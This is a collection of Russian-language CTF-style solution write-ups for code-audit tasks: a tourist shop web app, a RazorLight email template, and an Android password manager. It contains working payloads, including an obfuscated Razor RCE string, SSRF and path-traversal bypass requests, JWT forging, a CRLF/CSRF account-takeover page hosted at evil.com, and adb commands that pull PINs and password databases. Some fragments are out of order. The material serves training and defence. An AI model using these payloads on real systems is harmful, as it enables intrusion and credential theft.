Для отправки запроса можно воспользоваться Burp Suite или curl:
curl -X POST https://:target-ip:/PdfGenerator -H "Content-Type: text/plain" --data-binary @exploit.html --output result.pdf
Рекомендации по устранению
--allow-file-access-from-files.Функциональность отправки расчетного листа сотруднику по электронной почте позволяет передавать пользовательский комментарий, который добавляется в шаблон письма. Данный шаблон обрабатывается серверным шаблонизатором RazorLight.
Санитизация пользовательского комментария некорректная и ее возможно обойти, что позволяет злоумышленнику внедрить в комментарий специальные конструкции шаблонизатора, которые будут выполнены на стороне сервера.
Злоумышленник может добиться выполнения серверного кода в процессе генерации письма. Это может привести к раскрытию конфиденциальных данных приложения, обходу логики приложения или выполнению произвольных действий на сервере.
Запрос требует параметр AdminApiKey. Значение токена может быть получено с помощью уязвимости LFR из п. 3. Путь, по которому лежит секрет указан в EmailController.cs:12.
Функциональность отправки расчетного листа реализована в EmailController.cs с помощью метода
POST /api/email/payslip.
При формировании письма используется следующий шаблон:
string template =
@"Hello, @Model.Name!
Your salary in @Model.Month is @Model.Salary!
";
Если в запросе передан параметр Comment, он напрямую добавляется к шаблону:
if (!string.IsNullOrWhiteSpace(req.Comment))
{
template += "n" + req.Comment;
}
После этого получившийся шаблон компилируется методом: engine.CompileRenderStringAsync(key, template, model);
Это означает, что содержимое Comment обрабатывается как часть Razor-шаблона.
В TemplateService.cs реализована фильтрация шаблона:
if (normalized.Contains("@{") || normalized.Contains("@()"))
throw new Exception("Code blocks are not allowed");
и блокировка ряда ключевых слов:
system
process
diagnostics
reflection
file
directory
typeof
activator
Однако данная защита не предотвращает выполнение Razor-выражений вида: @(...), которые продолжают интерпретироваться шаблонизатором.
POC для эксплуатации: https://efigo.pl/en/blog/cve-2024-9150/
С учетом фильтра его необходимо модифицировать. В случае, если система на Linux, то достаточно использовать конкатенацию для обхода блокировки ключевых слов:
"a".GetType().Assembly.GetType("Sys"+"tem.Refle"+"ction.Assembly").GetMethod("LoadFi"+"le").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/Syst"+"em.Diag"+"nostics.Proc"+"ess.dll".Split("?")).GetType("Syst"+"em.Diagn"+"ostics.Pro"+"cess").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""touch /tmp/rce-$(whoami)""".Split(","))
Но придется подобрать корректную версию NETCore в пути.
Для Windows GetValue(0) не будет работать, так как целевая функция System.Diagnostics.Process.Start будет находиться под другим индексом, поэтому его тоже придется подобрать.
Пример POC под Windows:
"comment": "@(((dynamic)("a".GetType().Assembly.GetType("Sy"+"stem.Refl"+"ection.Assembly").GetMethod("LoadFi"+"le").Invoke(null, new object[] { "C:/Program Fi"+"les/dotnet/shared/Microsoft.NETCore.App/10.0.5/Sy"+"stem.Diag"+"nostics.Pr"+"ocess.dll" }))).GetType("Sy"+"stem.Diag"+"nostics.Pro"+"cess").GetMethods().GetValue(70).Invoke(null, new object[] { "cmd.exe", "/c whoami" }))"
Рекомендации по устранению
var model = new PayslipModel
{
Name = user.Email,
Salary = user.Salary,
Month = DateTime.UtcNow.ToString("MMMM"),
Comment = req.Comment
};
Шаблон:
string template =
@"Hello, @Model.Name!
Your salary in @Model.Month is @Model.Salary!
@Model.Comment
";
При выполнении POST-запроса /api/user/password/reset, который генерирует ссылку для сброса пароля, ответ сервера меняется в зависимости от того, зарегистрирован ли такой адрес электронной почты в организации или нет. Ниже приведена уязвимая функция RequestReset:
[HttpPost("password/request")]
public async Task<IActionResult> RequestReset([FromBody] PasswordResetRequest req)
{
var user = _db.Users
.FromSqlRaw("SELECT * FROM Users WHERE Email = {0}", req.Email)
.AsNoTracking()
.FirstOrDefault();
if (user == null)
return Ok(new { message = "Requested user does not exist!" });
...
return Ok(new { message = "Reset email has been sent." });
}
Риск
Злоумышленник может перебрать пароли пользователей
Рекомендации по устранению:Отказаться от вывода информации о существовании учетной записи при сбросе пароля пользователя.
6. Слабая парольная политика ОписаниеВ функции сброса пароля Reset (UserController.cs:85), которой соответствует POST-запрос /api/user/password/reset отсутствуют требования к новым паролям. Пользователь имеет возможность установить пароль для учетной записи длиной в 1 символ или пустой пароль.
Злоумышленник может перебрать пароли пользователей
Рекомендации по устранениюИспользовать проверку на сложность пароля на стороне сервера.
Цепочка эксплуатацииС помощью комбинации уязвимостей из пп. 1-4 возможен захват аккаунтов пользователей (уязвимости 1 и 2), а также удаленное выполнение произвольного кода на сервере (уязвимости 3-4). За описание сценария могут быть начислены дополнительные баллы.
Последовательность действий:
AdminApiKey с помощью LFR. Искомый путь указан в EmailController.cs:12. Для эксплуатации требуется аккаунт пользователя с ролью user.AdminApiKey, который получен на предыдущем шаге.Вы анализируете файлы из утечки исходного кода магазина туристического снаряжения. Проанализируйте код, опишите уязвимости и составьте из них возможные цепочки.
Для каждой найденной проблемы безопасности необходимо привести:
Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_5
Решение: 1. SSRF ОписаниеВ приложении существует функциональность создания продукта пользователем с правами администратора. Данная функциональность позволяет загружать отзывы на товар из внешних источников. При этом данная функциональность уязвима к SSRF. Несмотря на наличие в приложении черных списков (blacklists), доступ к хостам из этих списков остается возможным.
РискДанная атака позволяет злоумышленнику совершать произвольные запросы на адреса во внутренней сети. Злоумышленник может контролировать IP-адрес или доменное имя, порт, GET-параметры запроса. В результате возможно получение доступа к внутренней сетевой инфраструктуре, компрометация служебных сервисов и извлечение критичных данных.
Шаги по эксплуатацииВ представленном коде tourist_shop/backend/app.py:178 существует функциональность создания продукта. Для создания продукта используются следующие параметры:
description = data.get("description", "")
price = data.get("price", "")
reviews = data.get("reviews", "")
При передаче параметра reviews сервер отправляет запрос на указанный адрес. Значение данного параметра парсится, а полученные из него схема и хост проверяются на наличие в черных списках.
Фрагмент кода, проверяющий схему и хост на наличие в черных списках:
block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
block_host = [ "127.0.0.1", "localhost", "localhost.localdomain", "local", "localdomain",
"::1", "ip6-localhost", "ip6-loopback", "0.0.0.0", "127.0.0.0",
...]
...
if reviews:
decode_reviews = unquote(reviews)
parsed = urlparse(decode_reviews)
scheme = parsed.scheme.lower()
host = parsed.netloc.lower()
if parsed.username or parsed.password:
return jsonify(error="Basic authentication in URL is not allowed"), 400
if scheme in block_schemes:
return jsonify(error="Input scheme is forbidden"), 400
if host in block_host:
return jsonify(error="Input hostname is forbidden"), 400
try:
target = urllib.request.urlopen(reviews)
При отправке запроса на хост, указанный в черных списках, сервер возвращает ошибку Input hostname is forbidden.
Запрос:
POST /api/admin/create_product HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 62
{"description":"test","price":1,"reviews":"https://localhost"}
Ответ:
HTTP/1.0 400 BAD REQUEST
Content-Type: application/json
{"error":"Input hostname is forbidden"}
Для обхода данной ошибки и получения доступа к внутреннему хосту (например, localhost) достаточно явно указать порт в значении параметра reviews.
Запрос:
POST /api/admin/create_product HTTP/1.1
Host: 172.28.141.216:5000
Content-Type: application/json
Content-Length: 66
{"description":"test","price":1,"reviews":"http://localhost:8000"}
Ответ:
HTTP/1.0 201 CREATED
Content-Type: application/json
{"description":"test","message":"Product created successfully","price":1,"reviews":"<!-- HTML for static distribution bundle build -->n<!DOCTYPE html>n<html lang="en">n <head>n <meta charset="UTF-8">n <title>Swagger UI</title>n <link rel="stylesheet" type="text/css" href="./swagger-ui.css" />n <link rel="stylesheet" type="text/css" href="index.css" />n <link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />n <link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />n </head>nn <body>n <div id="swagger-ui"></div>n <script src="./swagger-ui-bundle.js" charset="UTF-8"> </script>n <script src="./swagger-ui-standalone-preset.js" charset="UTF-8"> </script>n <script src="./swagger-initializer.js" charset="UTF-8"> </script>n </body>n</html>n"}
Кроме того, существует возможность обхода с помощью добавления пробела сразу после хоста.
Запрос:
POST /api/admin/create_product HTTP/1.1
Host: 172.28.141.216:5000
Content-Type: application/json
Content-Length: 62
{"description":"test","price":1,"reviews":"http://localhost "}
Ответ:
HTTP/1.0 201 CREATED
Content-Type: application/json
Content-Length: 11189
Server: Werkzeug/2.0.2 Python/3.10.12
Date: Thu, 02 Apr 2026 09:16:23 GMT
{"description":"test","message":"Product created successfully","price":1,"reviews":"<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">n<html xmlns="http://www.w3.org/1999/xhtml">n <!--n Modified from the Debian original for Ubuntun...
Рекомендации по устранению
Удалять пробельные символы в начале и конце строки с хостом (.strip()).
Извлекать и проверять порт отдельно от хоста. Запрещать запросы к портам, которые не требуются для работы функционала.
Перенести сервер, выполняющий запросы, в изолированный сегмент и дать ему минимальные сетевые права, исключающие возможность доступа во внутреннюю сеть. Таким образом злоумышленник не сможет использовать уязвимость во внутренней сети, но такой подход требует изменения архитектуры приложения.
В приложении существует функциональность чтения файлов, которая доступна только администратору. Легитимно можно читать только файлы из директории uploads. При обработке имени файла проверяется наличие path traversal символов. Однако эту проверку можно обойти и совершить выход за пределы директории.
Авторизованный злоумышленник с ролью администратора может выходить за пределы легитимной директории и читать любые доступные процессу приложения файлы.
Шаги по эксплуатацииВ представленном коде tourist_shop/backend/app.py:245 реализована функциональность чтения файлов, которая доступна только администратору.
@app.route("/api/admin/view", methods=["GET"])
@admin_required
def view_file():
...
Обработка имени файла проверяет наличие символов ../ и ..\ и заменяет их на пустую строку. Далее путь до легитимной директории uploads прямо конкатенируется с именем файла и метод read() читает его содержимое, которое выводится в ответе сервера.
filename = filename.replace("../", "").replace("..\", "")
filepath = os.path.join(UPLOAD_FOLDER, filename)
try:
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
result = {"ok": True, "message": content}
return jsonify(**result)
Данная реализация фильтра не удаляет искомую подстроку рекурсивно. Фильтр для входной строки запускается один раз и если нагрузка имеет вид ....//, то фильтр удалит лишь первое соответствие подстроки, но при этом останется еще одна часть path traversal символов (../) что позволит обойти данный фильтр.
Запрос
GET /api/admin/view?file=....//....//....//....//.bash_history HTTP/1.1
Host: IP
Cookie: <edit>
Connection: close
Ответ
HTTP/1.0 200 OK
Content-Type: application/json
{"message":"<secret content>"}
Рекомендации по устранению
Удалять искомые подстроки рекурсивно, либо заменять их на другие спецсимволы ломающие структуру относительных путей (relative paths) и исключающих таким образом path traversal атаки. Либо не сохранять файлы с оригинальным именем.
В исходном коде приложения секрет для подписи JWT-токенов задан статически в виде строковой константы. Данный секрет является словарным и может быть подобран с использованием популярных словарей, таких как rockyou.txt.
Фрагмент кода, содержащий захардкоженный секрет:
JWT_SECRET = "funkymonkey"
JWT_ALGORITHM = "HS256"
JWT-токен передаётся в cookie token и содержит имя пользователя и его роль (user / admin). Декоратор auth_required выполняет проверку токена исключительно по данному секрету.
Знание секрета позволяет злоумышленнику сформировать произвольный JWT-токен с любыми значениями полей sub и role. В частности, злоумышленник может создать токен с "sub": "admin", "role": "admin" и получить полный доступ к административным эндпоинтам приложения
token после аутентификации под любым пользователем (например, demo / demo).Запрос:
POST /api/auth/login HTTP/1.1
Host: IP
Content-Type: application/json
{"username":"demo","password":"demo"}
Ответ содержит cookie token с JWT-токеном.
hashcat или john:hashcat -a 0 -m 16500 <token> rockyou.txt
Результат: секрет funkymonkey.
import jwt, time
token = jwt.encode(
{"sub": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600},
"funkymonkey",
algorithm="HS256",
)
Генерировать JWT-секрет криптографически стойким генератором случайных чисел при первом запуске приложения и хранить его в переменных окружения. Не допускать хранения секретов в исходном коде.
4. CRLF-инъекция в заголовках HTTP-ответа ОписаниеВ приложении существует WSGI-мидлварь ServiceMiddleware, обрабатывающая эндпоинт /go. Данный эндпоинт принимает GET-параметр url, декодирует его с помощью urllib.parse.unquote() и передаёт результат непосредственно в значение заголовка Location через функцию start_response().
Фрагмент уязвимого кода:
if path == "/go":
qs = environ.get("QUERY_STRING", "")
target = urllib.parse.parse_qs(qs).get("url", ["/"])[0]
target = urllib.parse.unquote(target)
start_response("302 Found", [
("Location", target),
("Content-Length", "0"),
])
return [b""]
На уровне WSGI значения заголовков не проходят фильтрацию символов переноса строки (rn). Это позволяет злоумышленнику внедрить произвольные HTTP-заголовки в ответ сервера, включая Set-Cookie.
Злоумышленник может установить произвольные cookie-значения в браузере жертвы, посетившей специально сформированную ссылку. В совокупности с механизмом CSRF-защиты, основанным на Double Submit Cookie (см. Уязвимость 5), это приводит к полному обходу CSRF-защиты.
Шаги по эксплуатацииОтправить запрос с символами %0d%0a (URL-кодированные rn) в параметре url, после которых указать произвольный заголовок:
Запрос:
GET /go?url=/%0d%0aSet-Cookie:%20_csrf=pwned HTTP/1.1
Host: IP
Ответ:
HTTP/1.1 302 Found
Location: /
Set-Cookie: _csrf=pwned
Content-Length: 0
Заголовок Set-Cookie: _csrf=pwned внедрён в ответ сервера. При получении данного ответа браузер жертвы установит cookie _csrf со значением pwned.
Фильтровать символы r и n из пользовательского ввода перед подстановкой в HTTP-заголовки. Использовать встроенные механизмы фреймворка для формирования перенаправлений (например, flask.redirect()), которые выполняют валидацию значений заголовков автоматически
Защита от CSRF-атак в приложении реализована по схеме Double Submit Cookie. Декоратор csrf_protect сравнивает значение cookie _csrf со значением, переданным в HTTP-заголовке X-CSRF-Token или в POST-параметре _csrf.
Фрагмент кода декоратора:
def csrf_protect(f):
@wraps(f)
def wrapper(*args, **kwargs):
ct = request.cookies.get("_csrf", "")
ft = request.headers.get("X-CSRF-Token", "") or request.form.get("_csrf", "")
if not ct or ct != ft:
return jsonify(error="csrf token mismatch"), 403
return f(*args, **kwargs)
return wrapper
Схема Double Submit Cookie основана на предположении, что злоумышленник не может контролировать значения cookie в браузере жертвы. Однако в связке с CRLF-инъекцией (см Уязвимость 4) злоумышленник получает возможность установить cookie _csrf с произвольным известным значением через внедрение заголовка Set-Cookie.
Эндпоинт смены пароля /api/settings/password не требует указания текущего пароля пользователя, что позволяет произвести захват административного аккаунта
Комбинация уязвимостей позволяет злоумышленнику выполнить полный захват учётной записи (Account Takeover) любого аутентифицированного пользователя приложения, включая администратора. Злоумышленник размещает вредоносную HTML-страницу и побуждает жертву перейти по ссылке
Атака возможна благодаря тому, что cookie token установлена с атрибутом SameSite=None что позволяет браузеру отправлять её при cross-site запросах.
Цепочка атаки: жертва посещает вредоносную страницу → CRLF-инъекция перезаписывает cookie _csrf известным значением → страница автоматически отправляет форму смены пароля с совпадающим CSRF-токеном → пароль жертвы изменён.
https://evil.com/exploit.html):<html>
<body>
<img src="http://TARGET:5000/go?url=/%0d%0aSet-Cookie:%20_csrf=pwned;%20Path=/;%20SameSite=None"
style="display:none">
<form id="f" method="POST" action="http://TARGET:5000/api/settings/password"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="_csrf" value="pwned">
<input type="hidden" name="new_password" value="hacked">
</form>
<script>
setTimeout(function() {
document.getElementById('f').submit();
}, 1000);
</script>
</body>
</html>
Логика работы страницы:
<img> выполняет GET-запрос к /go с CRLF-пэйлоадом. Сервер отвечает с заголовком Set-Cookie: _csrf=pwned; Path=/; SameSite=None, который перезаписывает cookie _csrf в браузере жертвы. Атрибут Path=/ необходим, чтобы cookie распространялась на все пути (без него cookie получит path /go и не будет отправлена при запросе к /api/*). Атрибут SameSite=None необходим, чтобы cookie отправлялась при cross-site запросах (по умолчанию браузер применяет SameSite=Lax)./api/settings/password. Браузер прикрепляет к запросу cookie жертвы: httponly-cookie token с SameSite=None и перезаписанный _csrf=pwned. В теле формы передаётся _csrf=pwned.csrf_protect сравнивает cookie _csrf (pwned) с полем формы _csrf (pwned) — значения совпадают, проверка пройдена.hacked.https://evil.com/exploit.html администратору. Администратор, будучи аутентифицированным в приложении, переходит по ссылке.Запрос:
POST /api/auth/login HTTP/1.1
Host: TARGET
Content-Type: application/json
{"username":"admin","password":"hacked"}
Ответ:
HTTP/1.1 200 OK
Content-Type: application/json
{"ok":true,"role":"admin","user":"admin"}
Рекомендации по устранению
Требовать указание текущего пароля при смене пароля. Использовать серверное хранение CSRF-токенов (например, привязку к сессии) вместо схемы Double Submit Cookie. Устранить CRLF-инъекцию, без которой данная атака невозможна. Установить атрибут SameSite=Strict на cookie token, что заблокирует отправку cookie при cross-site запросах
В приложении существует функиональность привязки старых заказов по номеру телефона. В интерфейсе реализовано ограничение на 1 отправку такого запроса, но в обработчике на бекенде данная проверка отсутствует, поэтому возможна многократная привязка заказов с разных номеров телефона. Максимальная скидка 25%
РискЗлоумшленник может получить максимальную скидку в магазине без совершения заказов и начать пользоваться этой скидкой с самого первого заказа, если подберёт номера телефонов, где есть непривязанные заказы
Шаги по эксплуатацииНа странице с программой лояльности /discount доступна форма привязки старых заказов по номеру телефона
POST /api/bind_old_ordersЗапрос на привязку заказов:
POST /api/bind_old_orders HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0MTIxMzEyMzQ2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NzUwNzQxMTcsImV4cCI6MTc3NTE2MDUxN30.<ИЗМЕНЕНО>; _csrf=5b366b792e1f2a6c59a15df560e12a879f369c4c713a771c1cf9a15c757b5751
Content-type: application/json
X-CSRF-Token: 5b366b792e1f2a6c59a15df560e12a879f369c4c713a771c1cf9a15c757b5751
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Length: 33
{"phone_number":"+79999999998"}
Ответ:
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 36
{"message":"discount info updated"}
GET /api/discount. В ответе "discount":25.0 отражает скидку пользователяЗапрос на получение информации о скидке
GET /api/discount HTTP/1.1
Host:TRAGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0MTIxMzEyMzQ2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NzUwNzQxMTcsImV4cCI6MTc3NTE2MDUxN30.<ИЗМЕНЕНО>;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Ответ:
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 78
{"add_old_orders":0,"discount":25.0,"orders_count":38,"user":"test121312346"}
Также на странице /discount отражается информация о скидке
По коду функции bind_old_orders видно, что требуется привязка более 20 заказов для получения максимальной скидки
if orders_count > 20:
discount = 25
elif orders_count > 15:
discount = 20
elif orders_count > 10:
discount = 15
elif orders_count > 5:
discount = 10
В коде функции check_discount есть параметр add_old_orders, который отвечает за отрисовку активной формы на привязку заказов в интерфейсе.
const addOldOrders = result.add_old_orders;
if (addOldOrders === 1) {
activateForm();
if (!isAlreadyBinded) {
showMessage('✅ Программа лояльности доступна! Активируйте персональную скидку.', 'info');
}
} else {
deactivateForm('Активация программы лояльности временно недоступна.');
}
7. Небезопасная парольная политика.
Описание
При регистрации и смене пароля единственное требование — длина не менее 4 символов. Отсутствуют проверки на сложность, наличие цифр, спецсимволов и совпадение с популярными паролями.
РискЗлоумышленник может перебрать пароли пользователей
Рекомендации по устранениюРекомендуется установить минимальную длину 8 символов, требовать наличие символов различных категорий и по возможности проверять пароль по словарям распространённых паролей.
8. Хранение паролей без соли. ОписаниеФункция hash_password использует SHA-256 без добавления соли. Одинаковые пароли разных пользователей дают одинаковые хэши, что позволяет применять радужные таблицы и ускоряет массовый подбор.
РискЗлоумышленник может перебрать пароли пользователей при получении доступа к БД
Шаги по эксплуатации Рекомендации по устранениюРекомендуется использовать специализированные алгоритмы (bcrypt, argon2) с автоматическим добавлением соли.
9. Смена пароля без подтверждения текущего. ОписаниеЭндпоинт /api/settings/password не требует указания старого пароля, что упрощает захват учётной записи при компрометации сессии.
Злоумышленник может сменить пароль пользователя при помощи полезной нагрузки XSS/CSRF
Рекомендации по устранениюТребовать указание старого пароля для его изменения.
10. Небезопасная конфигурация Cookie ОписаниеВ сессионных данных установлены атрибуты SameSite:None
РискСессионные Cookie могут попасть на ресурс злоумышленника.
Рекомендации по устранениюРекомендуется использовать SameSite:Lax для повышения защищенности веб-приложения и предотвращения использования сесионных данных из сторонних источников.
11. Небезопасная загрузка файлов ОписаниеФункциональность загрузки файла (также как и чтение файла) содержит фильтр path traversal символов. Но его можно обойти указанным выше способом и загружать файлы вне директории uploads. Также код содержит константу определяющую максимальный размер загружаемого файла (16MB). Однако сама проверка по этой константе в коде не реализована, что позволяет загружать неограниченно большие файлы.
Злоумышленник может вызвать отказ в обслуживании сервиса
Рекомендации по устранениюРекомендуется не сохранять файлы с оригинальным именем (использовать свои непредсказуемые имена), реализовать проверку размера загружаемого файла и сохранять файлы в объектном хранилище данных (Simple Storage Service).
Цепочки эксплуатации 1 . Получение JWT токена администратора с последующим чтением файлов на сервере (LFD) и получением доступа к внутренней сетевой инфраструктуре (SSRF).Последовательность действий:
token после аутентификации под любым пользователемhashcat или johnПоследовательность действий:
/api/settings/password не требует указания текущего пароля пользователя) и размещает её на подконтрольном сервере (например, https://evil.com/exploit.html)Пример HTML страницы:
<html>
<body>
<img src="http://TARGET:5000/go?url=/%0d%0aSet-Cookie:%20_csrf=pwned;%20Path=/;%20SameSite=None"
style="display:none">
<form id="f" method="POST" action="http://TARGET:5000/api/settings/password"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="_csrf" value="pwned">
<input type="hidden" name="new_password" value="hacked">
</form>
<script>
setTimeout(function() {
document.getElementById('f').submit();
}, 1000);
</script>
</body>
</html>
https://evil.com/exploit.html администратору. Администратор, будучи аутентифицированным в приложении, переходит по ссылкеПривет, давно не виделись! Слышал, ты пентестером мобилок работаешь. А я решил
свой стартап открыть: менеджер паролей для Android делаю. Богатым скоро буду!
Пожалуйста, проверь на безопасность моё приложение перед тем, как оно покорит
вершину загрузок в play маркете. Если вдруг что-то найдёшь, то придумай сценарий атаки и предложи варианты устранения уязвимости. Хотя сразу скажу, что шансы малы: мой платный ИИ-агент пишет код, как сеньор с 20ти-летним стажем. По поводу оплаты договоримся чуть позже, а то я все деньги на ИИ-агента потратил.
Ссылка на скачивание приложения: https://github.com/testdsec/SOH2026/tree/main/task_6
Ваша задача — проверить на безопасность это приложение, придумать возможные сценарии атаки и предложить варианты устранения обнаруженных уязвимостей.
Решение: Описание приложенияПо легенде Dmitry Chudakov решил с помощью LLM написать свой менеджер паролей VibePass ( ru.chudakov.vibepass ) и отдать его на анализ своему старому другу-безопаснику.
Приложение при первом запуске предлагает создать БД с паролями.


Для БД нужен пароль минимум из 8 символов.


Далее нужно придумать пин-код быстрой разблокировки. Он используется, чтобы не
вводить каждый раз пароль. БД может быть либо «закрыта» и надо вводить пароль, либо «открыта» и надо ввести 4х-значный ПИН-код.


Наконец, можно добавлять, изменять и удалять записи.


Основной экран содержит список записей, а также кнопки добавления новой записи + ,
открытия настроек ⚙ и кнопку блокировки БД 🔒 .


Первые недостатки можно обнаружить уже при первом использовании приложения (без реверс инжениринга). Для обнаружения уязвимостей нужно будет открыть приложение в Jadx и изучить AndroidManifest.xml , а также исходный код классов на Java . Обфускация к приложению не применялась. Проверки на root-доступ, frida и.т.д также отсутствуют для облегчения анализа.


Уязвимость заключаются в следующем:
// If your app is compiled with the API level 33 SDK or higher.
PersistableBundle extras = new PersistableBundle();
extras.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true);
clipData.getDescription().setExtras(extras);
// If your app is compiled with API level 32 SDK or lower.
PersistableBundle extras = new PersistableBundle();
extras.putBoolean("android.content.extra.IS_SENSITIVE", true);
clipData.getDescription().setExtras(extras);
Если пользователь вышел из приложения, не закрыв БД нажатием 🔒 , то БД остаётся
открытой и приложение запрашивает ПИН-код. Можно заметить, что количество попыток ввода ПИН-кода не ограничено. Можно автоматически или вручную перебрать 4х-значный ПИН-код и получить доступ к паролям.


Для исправления уязвимости нужно ввести счётчик попыток и хранить его в shared
preferences . Ещё одной хорошей практикой является автоматическая блокировка БД
через N минут после неиспользования.
Если посмотреть логи через ADB, то можно увидеть, что логируются все вводимые
пользователем данные, в том числе мастер-пароль и ПИН-код. Также это можно найти по исходникам.
В AndroidManifest.xml указан атрибут android:allowBackup=true и не указан файл с
правилами бэкапа. Значит через бэкап можно получить содержимое внутреннего
хранилища (только на Android 12 и ниже).
Решением проблемы является либо запрет создания резервных копий через android:allowBackup=false либо явное указание набора файлов для бэкапа через ключи android:fullBackupContent и android:dataExtractionRules.
Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим экран MainActivity, который доступен извне
(exported=true). Он обязан быть экспортированным, поскольку является главным
экраном приложения (launcher)


Изучив исходный код MainActivity приходим к выводу, что любое сторонее приложение может отправить intent с полем authSucceeded=true приложению VibePass , в результате чего сразу откроется менеджер паролей без аутентификации.


Пример эксплуатации через adb:
adb shell am start -n 'ru.chudakov.vibepass/ru.chudakov.vibepass.MainActivity' --ez authSucceeded true
Для устранения уязвимости необходимо сделать так, чтобы значение authSucceeded не могло быть получено извне. Например, использовать Shared Preferences вместо
Intent .
Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим экран DeeplinkActivity, который доступен извне
(exported=true). Данный экран имеет обработчик диплинков.

По задумке автора должно быть 3 ссылки:
vibepass://vault/settingsvibepass://vault/passwordsvibepass://app/abouturi.getHost() == "vault", то происходит запуск MainActivity с authSucceeded=false и приложение потребует аутентификацию. Иначе MainActivity будет запущена со значением authSucceeded=true и откроется окно об авторе без доступа к функционалу.
Уязвимость заключается в том, что злоумышленник может подсунуть ссылку вида
vibepass://app/passwords вместо vibepass://app/about, поскольку на самом деле
диплинк в Android может содержать все комбинации scheme, host и pathPattern ,
указанные в <data> (механизм обработки ссылок реально запутывает). В результате
получаем возможность локального обхода аутентификации при открытии диплинка:
adb shell am start -d 'vibepass://app/passwords' -a 'android.intent.action.VIEW'
Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим провайдер LogsExportProvider, который доступен извне (exported=true). Видно, что разработчик хотел ограничить доступ к провайдеру случайной строкой символов. Однако для реверс-инженера это не является преградой.
В лог-файле есть дебаг-логи с мастер-паролем в отрытом виде.


Получить лог-файл можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/log_2026-03-25.txt
Название лог-файла выводится в logcat.
Как мы ранее выяснили, провайдер LogsExportProvider доступен извне любому
приложению и позволяет читать логи. Однако в этом провайдере есть ещё одна
уязвимость Path Traversal .


Функция uri.getLastPathSegment() позволяет получить название файла из пути.
Например, из /aaa/bbb/ccc будет получена строка ccc . Однако данная функция может быть уязвима к Path Traversal , поскольку может принимать urlencoded-значения. В результате путь /aaa/bbb/..%2Fccc будет декодирован в /aaa/bbb/../ccc , что позволяет выйти за границы текущей директории.
Украсть shared preferences с ПИН-кодом можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/..%2F..%2Fshared_prefs%2Fvibepass.xml
Украсть разблокированную БД можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/..%2F..%2Fdatabases%2FVibePass.db > VibePass.db
После анализа исходного кода или заглянув во внутреннее хранилище, можно увидеть,
что ПИН-код хранится в открытом виде. Если в приложении найдётся уязвимость,
приводящая к краже файлов из хранилища, то можно будет похитить ПИН-код. Проблема решается внедрением шифрования.


После анализа исходного кода или заглянув во внутреннее хранилище, можно увидеть,
что после ввода мастер-пароля расшифрованная БД с паролями лежит в открытом виде
во внутреннем хранилище (VibePass.db — расшифрованная, а VibePass.db.locked —
шифруется после блокировки хранилища). Если в приложении найдётся уязвимость,
приводящая к краже файлов из хранилища, то можно будет похитить БД с паролями. Для решения проблемы нужно использовать библиотеки, которые умеют расшифровывать БД в память без записи на диск: sqlcipher , tink и др.
После анализа исходного кода класса VaultManager можно увидеть, что ключ
шифрования БД с паролями происходит от даты первой установки приложения
( timestamp ) и захардкоженных 8ми байт. То есть возможно получить ключ шифрования от БД.


Для устранения данной уязвимости необходимо использовать KeyStore для операций
шифрования, генерации и хранения ключей.
MainActivityLogsExportProvider . Далее кража телефона и доступ к паролямВосстановите сертификат и закрытый ключ (выпущен MOYKA ROOT CA), сохраненный в локальном хранилище машины Windows (доступном в оснастке certlm.msc).
Для решения задания вам дан дамп файлов https://github.com/testdsec/SOH2026/tree/main/task_7, необходимых для восстановления.
В качестве доказательства решения укажите сертификат и закрытый ключ в формате PEM, а также пошаговую инструкцию по их восстановлению.
for guid in "340bc26b-934e-4c87-b3fd-a876b3233d3e" "969458fd-aa12-4ae2-8ec3-a54e95f1ae1c" "c6859e4a-bfd8-46bf-86e7-2574c4b59eb2"; do key=$(dpapi.py masterkey -file "Windows/System32/Microsoft/Protect/S-1-5-18/$guid" -system Windows/System32/config/SYSTEM -security Windows/System32/config/SECURITY 2>/dev/null | grep "Decrypted key:" | cut -d ' ' -f 3 | xxd -r -p | sha1sum | cut -d ' ' -f 1); echo "{$guid}:$key"; done


Восстанавливаем закрытый ключ:
